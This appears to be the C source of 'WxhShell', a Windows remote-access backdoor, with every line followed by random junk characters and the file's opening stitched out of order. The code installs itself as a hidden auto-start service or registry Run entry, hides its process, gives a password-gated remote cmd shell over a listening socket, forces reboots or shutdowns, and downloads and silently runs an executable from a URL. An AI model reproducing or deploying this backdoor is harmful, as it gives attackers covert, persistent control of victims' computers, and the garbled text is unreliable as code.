    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9|9/8a6A  
    if(Boot(SHUTDOWN)) YDEb MEMd/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *#'&a(h B!  
    else { [,|4%Y  
    closesocket(wsh); eBe5H =I@  
    ExitThread(0); "fSK7%BP  
    } TI7)yxa=`  
    break; W'Qy4bl7C  
    } S @)P#  
  // 获取shell JJP!9<  
  case 's': { qmnW  
    CmdShell(wsh); , w_C~XN$t  
    closesocket(wsh); g;y*F;0@  
    ExitThread(0); 5WtI.7r  
    break; &hzr(v~;  
  } 1_LGlu~&  
  // 退出 C,{ Ekbg  
  case 'x': { r;fcBepO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8sL+ik"  
    CloseIt(wsh); j*_#{niy:  
    break; 5)M#hx%]#  
    } 4o@^._-R  
  // 离开 yLt>OA<X  
  case 'q': { VO*fC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]Vf2Mn=]"  
    closesocket(wsh); SLud}|f;o  
    WSACleanup(); 9cMMkOM J  
    exit(1); Ude)$PAe%  
    break; P;e@<O  
        } {d,^tG}  
  } Km0P)Z  
  } ?:RWHe.P  
c5{3  
  // 提示信息 8p~|i97W]!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); By0Zz  
} $tebNi P  
  } v1E(K09h2  
7L!q{%}  
  return; )/t=g  
} Uql7s:!,U  
RD*.n1N1  
// shell模块句柄 %#7^b=;=  
int CmdShell(SOCKET sock) AT I2  
{ "3NE%1T  
STARTUPINFO si; $H7T|`WI.,  
ZeroMemory(&si,sizeof(si)); a3BlydSlf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `mKK1x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y-*]6:{E  
PROCESS_INFORMATION ProcessInfo; Dn;$4Dak(  
char cmdline[]="cmd"; zMAlZ[DN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |JCn=v@  
  return 0; P/dT;YhL  
} kn6X I*  
<t.  w(?  
// 自身启动模式 RSf*[2  
int StartFromService(void) l' a<k"  
{ n UD;y}}n  
typedef struct w;T?m,"  
{ HQ3kxOT  
  DWORD ExitStatus; *lp{,  
  DWORD PebBaseAddress; PvS\  
  DWORD AffinityMask; 1?T^jcny:M  
  DWORD BasePriority; 4i Z7BD  
  ULONG UniqueProcessId; T@DT|lTI  
  ULONG InheritedFromUniqueProcessId; ww~gmz  
}   PROCESS_BASIC_INFORMATION; }Ym~[S*x  
(t-JGye>  
PROCNTQSIP NtQueryInformationProcess; mRY~)< !4&  
n )>nfnh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +~M`rR*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5> =Ia@I   
ZDl(q~4?z  
  HANDLE             hProcess; @jH8x!5u:  
  PROCESS_BASIC_INFORMATION pbi; .cg"M0  
_gP-$&JC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  Z_?r5M;  
  if(NULL == hInst ) return 0; LgoUD*MbQ  
1V2"sE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nsV;6^>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }G[Qm2k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7_AcvsdW  
~ny4Ay$#  
  if (!NtQueryInformationProcess) return 0; EX,)MU  
HVcd< :g0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uVV;"LVK~  
  if(!hProcess) return 0; ] _P!+5]<  
8w4cqr4m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,W~a%8*  
ADN  
  CloseHandle(hProcess); G+f@m,  
x-ShY&k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !l1ycQM  
if(hProcess==NULL) return 0; }\)O1  
%$I@7Es>  
HMODULE hMod; {afR?3GK  
char procName[255]; GOhGSV#  
unsigned long cbNeeded; NhA_dskvo  
3_+$x 4%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fm{`?!  
^H UNq[sQ  
  CloseHandle(hProcess); E;^~}  
<eG8xC  
if(strstr(procName,"services")) return 1; // 以服务启动 *%xmCP J  
kkE1CHY  
  return 0; // 注册表启动 dD0:K3@  
} Jri"Toz0  
`l8^n0-  
// 主模块 _ Tj`  
int StartWxhshell(LPSTR lpCmdLine) jB!Q8#&Q  
{ Z &R{jQ,  
  SOCKET wsl; :3Hr: ~  
BOOL val=TRUE; ]za1=~[  
  int port=0; AT4G]pT  
  struct sockaddr_in door; `FL!L59nz  
RtVG6'Y  
  if(wscfg.ws_autoins) Install(); C@i4[g){  
#x;i R8^  
port=atoi(lpCmdLine); 3mnq=.<(w  
{`vv-[j|  
if(port<=0) port=wscfg.ws_port; (lY< \l  
^}4=pkJ;s  
  WSADATA data; bl;C=n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wx|eO[14  
{qHf%y&[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dpa PRA)x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); REvY`   
  door.sin_family = AF_INET; qm1;^j&y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lIj2w;$v  
  door.sin_port = htons(port); Rv T>{G~  
C!8XFf8e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5ZkMd !$y  
closesocket(wsl); "e\:Cq>\  
return 1; ,#P eK(  
} f._FwD  
Z ^tF  
  if(listen(wsl,2) == INVALID_SOCKET) { } 1 >i  
closesocket(wsl); YI*Av+Z)  
return 1; 7Bhi72&6  
} c`(]j w  
  Wxhshell(wsl); g&30@D"  
  WSACleanup(); Gmi$Nl!~  
oX9rpTi  
return 0; wv8WqYV  
KC-q]  
} *VF UC:  
P+Ta|-  
// 以NT服务方式启动 ^Fr82rJs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {-( B  
{ 4M&6q(389  
DWORD   status = 0; U0/X!@F-  
  DWORD   specificError = 0xfffffff; g6kVHxh-  
4EiEE{9V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N| dwuBW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BEkxH.   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]_yk,}88d  
  serviceStatus.dwWin32ExitCode     = 0; `4'['x  
  serviceStatus.dwServiceSpecificExitCode = 0; [D=3:B&f  
  serviceStatus.dwCheckPoint       = 0; #Cda8)jl(  
  serviceStatus.dwWaitHint       = 0; n3t0Qc  
csV.AN'obq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U[b $VZ}  
  if (hServiceStatusHandle==0) return; /pvR-Id|6  
bF'^eR  
status = GetLastError(); mV0.9pxS  
  if (status!=NO_ERROR) 09{B6l6P  
{ n)(E 0h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4{d!}R  
    serviceStatus.dwCheckPoint       = 0; p<\yp<g  
    serviceStatus.dwWaitHint       = 0; `4& GumG  
    serviceStatus.dwWin32ExitCode     = status; (0Xgv3wd  
    serviceStatus.dwServiceSpecificExitCode = specificError; D<zgs2Ex  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3sf+ uoV  
    return; >900O4  
  } IGj%)_W  
P%v7(bqL4+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e{~s\G8g  
  serviceStatus.dwCheckPoint       = 0; ZlHN-!OZp  
  serviceStatus.dwWaitHint       = 0; =8?gx$r2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;=IGl:  
} ]:m}nJ_  
(#WE9~Sru  
// 处理NT服务事件,比如:启动、停止 G9.+N~GZ.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D_%y&p?<Ls  
{ M4rOnIJ  
switch(fdwControl) = X?jId{  
{ s5X .(;+  
case SERVICE_CONTROL_STOP: \7QAk4I~  
  serviceStatus.dwWin32ExitCode = 0; er Cl@sq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !tkP!%w  
  serviceStatus.dwCheckPoint   = 0; 2G'Au}q0n  
  serviceStatus.dwWaitHint     = 0; wD-(3ZVd4  
  { <6=kwV6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z?H#=|U  
  } ,ufB*[~  
  return; GVT+c@Gx  
case SERVICE_CONTROL_PAUSE: X0Q};,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _ 13M  
  break; URbu=U  
case SERVICE_CONTROL_CONTINUE: DS,"^K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R&13P&:g  
  break; v*+.;60_  
case SERVICE_CONTROL_INTERROGATE: _e<3 g9bj  
  break; p.9VyM  
}; beyC't  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S.bB.<  
} 8S_i;  
8v7;{4^  
// 标准应用程序主函数 2YD;Gb[8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tl|Qw";I  
{ _q >>]{5  
/=9t$u|  
// 获取操作系统版本 20G..>zW  
OsIsNt=GetOsVer(); \Lxsg! wtJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y]ML-smN  
Sq,ZzMw  
  // 从命令行安装 s7?Q[vN  
  if(strpbrk(lpCmdLine,"iI")) Install(); t1,sG8Z  
\e%H5W x  
  // 下载执行文件 \vVGfG?6  
if(wscfg.ws_downexe) { zmH8#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hm=E~wv'L  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;6g&_6  
} <QGf9{m  
O mkl|l9  
if(!OsIsNt) { w:l/B '%]Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 &BnK[Q8X  
HideProc(); F.)b`:g  
StartWxhshell(lpCmdLine); x4jn45]x@  
} #F\}PCBe'  
else 5`oVyxJ<  
  if(StartFromService()) +5Yf9  
  // 以服务方式启动 yjUSM}$  
  StartServiceCtrlDispatcher(DispatchTable); -7:J#T/\  
else |cwGc\ES  
  // 普通方式启动 [bd fp a  
  StartWxhshell(lpCmdLine); X p4x:N  
tL68 u[  
return 0; IKhpe5}  
} K4]c   
9/[3xhB4  
|EuWzhNAO  
Ur`Ri?  
=========================================== ob=GB71j55  
l][{ #>V  
[U_S u,  
ViqcJD  
: E `N0UA  
"V!y"yQ  
" H"8fnN=xB  
HCHZB*r[  
#include <stdio.h> Fw!CssW  
#include <string.h> @}:}7R6  
#include <windows.h> ?[>+'6  
#include <winsock2.h> wykk</eQ.i  
#include <winsvc.h> -=aI!7*"$  
#include <urlmon.h> *k:Sg*neVq  
gz6BfHQG  
#pragma comment (lib, "Ws2_32.lib") \(Uw.ri  
#pragma comment (lib, "urlmon.lib") "71@WLlN  
5bZf$$b  
#define MAX_USER   100 // 最大客户端连接数 W]p)}#FR  
#define BUF_SOCK   200 // sock buffer o*7`r~  
#define KEY_BUFF   255 // 输入 buffer V3&_ST  
ydOJ^Yty  
#define REBOOT     0   // 重启 6T>e~<^  
#define SHUTDOWN   1   // 关机 c`w YQUg(  
5 3=zHYQ  
#define DEF_PORT   5000 // 监听端口 )8Defuxk  
eyK=F:GO  
#define REG_LEN     16   // 注册表键长度 fI@4 v\  
#define SVC_LEN     80   // NT服务名长度 OM,-:H,  
T/Q#V)Tp  
// 从dll定义API X PnN"Y"y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a>jiq8d]4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I_s4Pf[l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L=W8Q8hf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &Pu}"M$[MH  
dx{ZG'@aH  
// wxhshell配置信息 uY+N163i  
struct WSCFG { ydFZ$W_}w  
  int ws_port;         // 监听端口 i,jPULzyjk  
  char ws_passstr[REG_LEN]; // 口令 t>[K:[0U  
  int ws_autoins;       // 安装标记, 1=yes 0=no [ix45xu7  
  char ws_regname[REG_LEN]; // 注册表键名 #Pi}2RBRu  
  char ws_svcname[REG_LEN]; // 服务名 `4E6&&E+S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |Rk$u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *G)=6\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |pB[g> ~V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |ho|Kl `=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Dg]( ?^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TqURYnNd  
VY }?Nb<&  
}; \yeo-uN8  
-' 7I|r  
// default Wxhshell configuration Z3Le?cMt^  
struct WSCFG wscfg={DEF_PORT, KrNu7/H  
    "xuhuanlingzhe", j_2-  
    1, }Xv2I$J  
    "Wxhshell", :p^7XwX%w  
    "Wxhshell", ZujPk-  
            "WxhShell Service", x5/O.5>f  
    "Wrsky Windows CmdShell Service", 78't"2>  
    "Please Input Your Password: ", Ic_>[E?k  
  1, x O`#a=  
  "http://www.wrsky.com/wxhshell.exe",  #P8R  
  "Wxhshell.exe" ~4YU  
    }; 9Yg=4>#$  
G-?y;V 1  
// 消息定义模块 E:,V{&tLK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f>d aK9$(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gp Aqz Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P9j[ NEV  
char *msg_ws_ext="\n\rExit."; R{zAs?j  
char *msg_ws_end="\n\rQuit."; uZ}=x3B  
char *msg_ws_boot="\n\rReboot..."; |> mx*G  
char *msg_ws_poff="\n\rShutdown..."; Y_qRW. k  
char *msg_ws_down="\n\rSave to "; {ir8n731p  
^ ,`;x  
char *msg_ws_err="\n\rErr!"; Qo7]fnnaV  
char *msg_ws_ok="\n\rOK!"; X"yj sk  
1an?/j,  
char ExeFile[MAX_PATH]; s&-m!|P  
int nUser = 0; 7`,A]":;  
HANDLE handles[MAX_USER]; 7}+U;0,)  
int OsIsNt; xE+Nz5F  
1t"  
SERVICE_STATUS       serviceStatus; ~@8r-[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &6*X&]V!Z  
M~ =Bln5  
// 函数声明 pa1.+~)  
int Install(void); *$uj)*5,  
int Uninstall(void); +k=BD s  
int DownloadFile(char *sURL, SOCKET wsh); W-9?|ei  
int Boot(int flag); !KiN} p  
void HideProc(void);  iC]=S}  
int GetOsVer(void); FGzMbi<l#(  
int Wxhshell(SOCKET wsl); +S!gS|8P  
void TalkWithClient(void *cs); >_9w4g_<  
int CmdShell(SOCKET sock); [UqJ3@>  
int StartFromService(void); L`v7|!X  
int StartWxhshell(LPSTR lpCmdLine); *aKT&5Ch-  
US<bM@[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p BU,"Yy&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b(<#n6a}\  
q}vz]L&o  
// 数据结构和表定义 *Mu X]JK  
SERVICE_TABLE_ENTRY DispatchTable[] = >>}4b2U  
{ f|eUpf%)  
{wscfg.ws_svcname, NTServiceMain}, kjW Y{7b!  
{NULL, NULL} ~&bn} M>W  
}; FbxrBM  
#:E}Eby/6I  
// 自我安装 <=fYz^|XT  
int Install(void) w9QY2v,U  
{ nW1Obu8x|  
  char svExeFile[MAX_PATH]; rkw^RW^  
  HKEY key; <pAN{:  
  strcpy(svExeFile,ExeFile); y7[D9ZvZ  
qY^OO~[  
// 如果是win9x系统,修改注册表设为自启动 ]Puu: IG  
if(!OsIsNt) { E3IB> f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hggp*(AQK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yht|0mZV  
  RegCloseKey(key); ')ZM# :G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D[d+lq#p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i9KQpWG:  
  RegCloseKey(key); 6I,^4U  
  return 0; 19.+"H  
    } <[7 bUB  
  } (of=hzT^?  
} rGPFPsMQ]  
else { I$Z8]&m  
ANuIPF4NxP  
// 如果是NT以上系统,安装为系统服务 1Yj^N" =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +&t`"lRl&  
if (schSCManager!=0) ,Mt/*^|  
{ ~zEBJgeyh  
  SC_HANDLE schService = CreateService |8xu*dVAp4  
  ( @9yY`\"ed  
  schSCManager, 9 F"2$;  
  wscfg.ws_svcname, &O0@)jIV  
  wscfg.ws_svcdisp, ?!PpooYK  
  SERVICE_ALL_ACCESS, zT;F4_p3G-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +k@$C,A  
  SERVICE_AUTO_START, :a YbP,mE  
  SERVICE_ERROR_NORMAL, z)z_]c-X+  
  svExeFile, .2y2Qm  
  NULL, & ,KxE(C  
  NULL, !3]}3jZ.  
  NULL, !3Xu#^Xxj  
  NULL, AQCU\E  
  NULL zR)9]pJ-  
  ); KW&5&~)2  
  if (schService!=0) y[ikpp#ozY  
  { Qyn~Vu43  
  CloseServiceHandle(schService); 7#\\Ava$T  
  CloseServiceHandle(schSCManager); 51:NL[[6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); | Vl Q0{  
  strcat(svExeFile,wscfg.ws_svcname); ^pAgo B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i+`N0!8lY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Knd2s~S  
  RegCloseKey(key); 1trk  
  return 0; 4g^nhJP$  
    } Iu<RwB[#Q  
  } 58T<~u7  
  CloseServiceHandle(schSCManager); MiB"CcU  
} |$Y0VC4a  
} _*(n2'2B  
=&kd|o/i  
return 1; 0~.OMG:=  
} x  RV@ _  
}Xn5M&>?  
// 自我卸载 Yv}V =O%  
int Uninstall(void) pf_(?\oz>  
{ LV$@J  
  HKEY key; :BIgrz"Jz  
7od6`k   
if(!OsIsNt) { \YV`M3O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cr;\;Ta_!W  
  RegDeleteValue(key,wscfg.ws_regname); xPuuG{Sm  
  RegCloseKey(key); ]{mz %\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w 0V=49  
  RegDeleteValue(key,wscfg.ws_regname); y$J M=f$  
  RegCloseKey(key); W$E!}~Ro  
  return 0; I-=H;6w7  
  } c:%ll&Xtn  
} }p2YRTHx  
} L.5 /wg  
else { 8SJi~gV  
K'Gv+UC*6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d&z^u.SY  
if (schSCManager!=0) xy/B<.M1  
{ p>GTFXEi6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zjuU*$A4  
  if (schService!=0) }]i re2j8  
  { Sdk:-Zuv  
  if(DeleteService(schService)!=0) { 3&'u7e  
  CloseServiceHandle(schService); D #<)q)  
  CloseServiceHandle(schSCManager); OPYl#3I  
  return 0; v5aHe_?lp  
  } x *p>l !  
  CloseServiceHandle(schService); x)+3SdH  
  } GIo7- 6kvm  
  CloseServiceHandle(schSCManager); 6*!R'  
} s]tBd !~  
} 4P1<Zi+<  
epWTZV(1x  
return 1; H)eecH$K  
} p2(U'x c  
s>A!Egmo  
// 从指定url下载文件 ;QRnZqSv  
int DownloadFile(char *sURL, SOCKET wsh) /FP;Hsw%  
{ aGUKpYF  
  HRESULT hr; `i'72\(  
char seps[]= "/"; SCXH{8SS  
char *token; &mG1V  
char *file; tH7@oV;  
char myURL[MAX_PATH]; 9e`.H0  
char myFILE[MAX_PATH]; j,HUk,e^&  
=.*+c\  
strcpy(myURL,sURL); |H!kU.f]  
  token=strtok(myURL,seps); mBp3_E.t  
  while(token!=NULL) -#9Hb.Q;  
  { sYt\3/yL'  
    file=token; n0/H2>I[  
  token=strtok(NULL,seps); =th(Hdk17  
  } k7R8Q~4  
N-lo[bDJh  
GetCurrentDirectory(MAX_PATH,myFILE); dKKh^D`~  
strcat(myFILE, "\\"); 6}Iu~| 5  
strcat(myFILE, file); .Mn+Bd4f  
  send(wsh,myFILE,strlen(myFILE),0); eM3-S=R?<g  
send(wsh,"...",3,0); jbDap i<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4| 6<nk_  
  if(hr==S_OK) }D/O cp~o  
return 0; ]8Eci^i  
else ZQ&A '(tt4  
return 1; %syFHUBw  
M9 _G  
} 9;fyC =  
7W{xK'|]  
// 系统电源模块 3 &aBU [  
int Boot(int flag) Aqc Cb[1r  
{ fmDn1N-bG  
  HANDLE hToken; lur$?_gt  
  TOKEN_PRIVILEGES tkp; m'L7K K-Y)  
'aq9]D_k  
  if(OsIsNt) { $r>\y (W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lphELPh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \0{g~cU4  
    tkp.PrivilegeCount = 1; 2 /rDi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W(C\lSE0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3!+N} [$iy  
if(flag==REBOOT) { QN GICG-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5W T^;J9V  
  return 0; GzC=xXON  
} !I 7bxDzK$  
else { c*5y8k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~If{`zWoC  
  return 0; u-31$z<<5}  
} e:h(,  
  } 9JG9;[  
  else { SkmLX@:(  
if(flag==REBOOT) { M-K.[}}-d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h1 y6`m9  
  return 0; y .+d3  
} SGZ]_  
else { fs43\m4= m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]~')OSjw  
  return 0; ZPM,ZGlu:  
} o(2tRDT\_b  
} FXAP]iqo  
BIFuQ?j3  
return 1; wRc=;f  
} Up(Jw-.  
Rk1B \L|M  
// win9x进程隐藏模块 ^m3[mY [a  
void HideProc(void) QGWfF,q  
{ oAMB}a;  
\Mujx3Fmvx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <@Lw '  
  if ( hKernel != NULL ) (>E}{{>2r  
  { L>,j*a_[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @YH<Hc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CL~21aslI  
    FreeLibrary(hKernel); MzF9 &{N  
  } ;AFF7N>&  
&$'=SL(Z  
return; LC!ZeW35  
} x vi&d1  
bIX'|=  
// 获取操作系统版本 YivWvV  
int GetOsVer(void) Ar+<n 2;[  
{ ]>K02SVT:  
  OSVERSIONINFO winfo; BUuU#e5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /(aKhUjhb  
  GetVersionEx(&winfo); dHcGe{T^(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +<^TyIJ0  
  return 1; ][ ,NNXrc&  
  else 4. &t  
  return 0; Y|s?9'z  
} cY}Nr#%s@U  
q ;@:,^  
// 客户端句柄模块 Qp~W|zi(  
int Wxhshell(SOCKET wsl) 0 .& B  
{ 7\BGeI  
  SOCKET wsh;  qep<7 QO  
  struct sockaddr_in client; j3!]wolY  
  DWORD myID; \F|L y >g  
A YC22(  
  while(nUser<MAX_USER) !kPZuU `T  
{  N+<`Er  
  int nSize=sizeof(client); 'O\me  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R*C  
  if(wsh==INVALID_SOCKET) return 1; xaiA?  
6.%V"l   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3$R^tY2UU  
if(handles[nUser]==0) " <GDOL  
  closesocket(wsh); Rwy<#9R[x  
else UE3#(:x A  
  nUser++; \2rCT~x  
  } G8JwY\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }F*u 9E  
'' @upZBJ  
  return 0; 8a\ Pjk  
} 8:BPXdiK  
VW7 ?{EL7  
// 关闭 socket )/'y'd<r  
void CloseIt(SOCKET wsh) e[3 rz%'Q  
{ x*)@:W!  
closesocket(wsh); (z[|\6O  
nUser--; w85PRruW  
ExitThread(0); ++s=$D  
} zH0{S.3 k  
lC/4CPKtV  
// 客户端请求句柄 :Kc}R)6  
void TalkWithClient(void *cs) Q7ez?]j6  
{ aB`x5vg7ho  
=uZOpeviQ  
  SOCKET wsh=(SOCKET)cs; 9w-V +Nf  
  char pwd[SVC_LEN]; u>G#{$)  
  char cmd[KEY_BUFF]; ~%6GF57gC  
char chr[1]; Q%xvS,oI  
int i,j; 39W"G7n?v  
Q k`yK|(0=  
  while (nUser < MAX_USER) { QfI)+pf  
4eSV( u)4  
if(wscfg.ws_passstr) { EZm6WvlxSI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UTatcn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hM!D6: t  
  //ZeroMemory(pwd,KEY_BUFF); :Fm{U0;"  
      i=0; 5"f')MKUV9  
  while(i<SVC_LEN) { =R M=@X  
htn"rY(  
  // 设置超时 sA3=x7j%c  
  fd_set FdRead; ^-CQ9r*  
  struct timeval TimeOut; UMg*Yv%  
  FD_ZERO(&FdRead); AZmABl  
  FD_SET(wsh,&FdRead); Bn7~p+N  
  TimeOut.tv_sec=8; VQ{.Ls2`Z  
  TimeOut.tv_usec=0; GEg8\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9(%ptnya  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &Rgy/1  
/4\!zPPj.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Y:~'&U|  
  pwd=chr[0]; W$x'+t5H  
  if(chr[0]==0xd || chr[0]==0xa) { H3=U|wr|  
  pwd=0; S`LS/)  
  break; @v1f)(N  
  } }gE?ms4$  
  i++; O k-*xd  
    } Az_s"}G  
4v+4qyMyE  
  // 如果是非法用户,关闭 socket r^uo7?gZ^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )~q@2^  
} _,h hO  
R@=Bk(h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^cYm.EHI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~E2xIhV  
giy4<  
while(1) { [u_-x3`  
+U(m b  
  ZeroMemory(cmd,KEY_BUFF); O -a`A.  
Kt,ENbF  
      // 自动支持客户端 telnet标准   e]\{ Ia  
  j=0; MQR@(>TZy  
  while(j<KEY_BUFF) { R3]Ra&h6N)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l$%mZl  
  cmd[j]=chr[0]; GS^U6Xef  
  if(chr[0]==0xa || chr[0]==0xd) { q%u;+/|l  
  cmd[j]=0; |w(@a:2 kw  
  break; LbGyD;#_  
  } L#'B-G4&y  
  j++; ^O cM)Z6h  
    } W/O&(t  
Z8 \c'xN  
  // 下载文件 lGa'Y  
  if(strstr(cmd,"http://")) { d#@N2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LTsG  
  if(DownloadFile(cmd,wsh)) e[t+pnRh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6x*u S~'  
  else pn6 e{   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hu .e@7  
  } }.<%46_Z-  
  else { L]o 5=K  
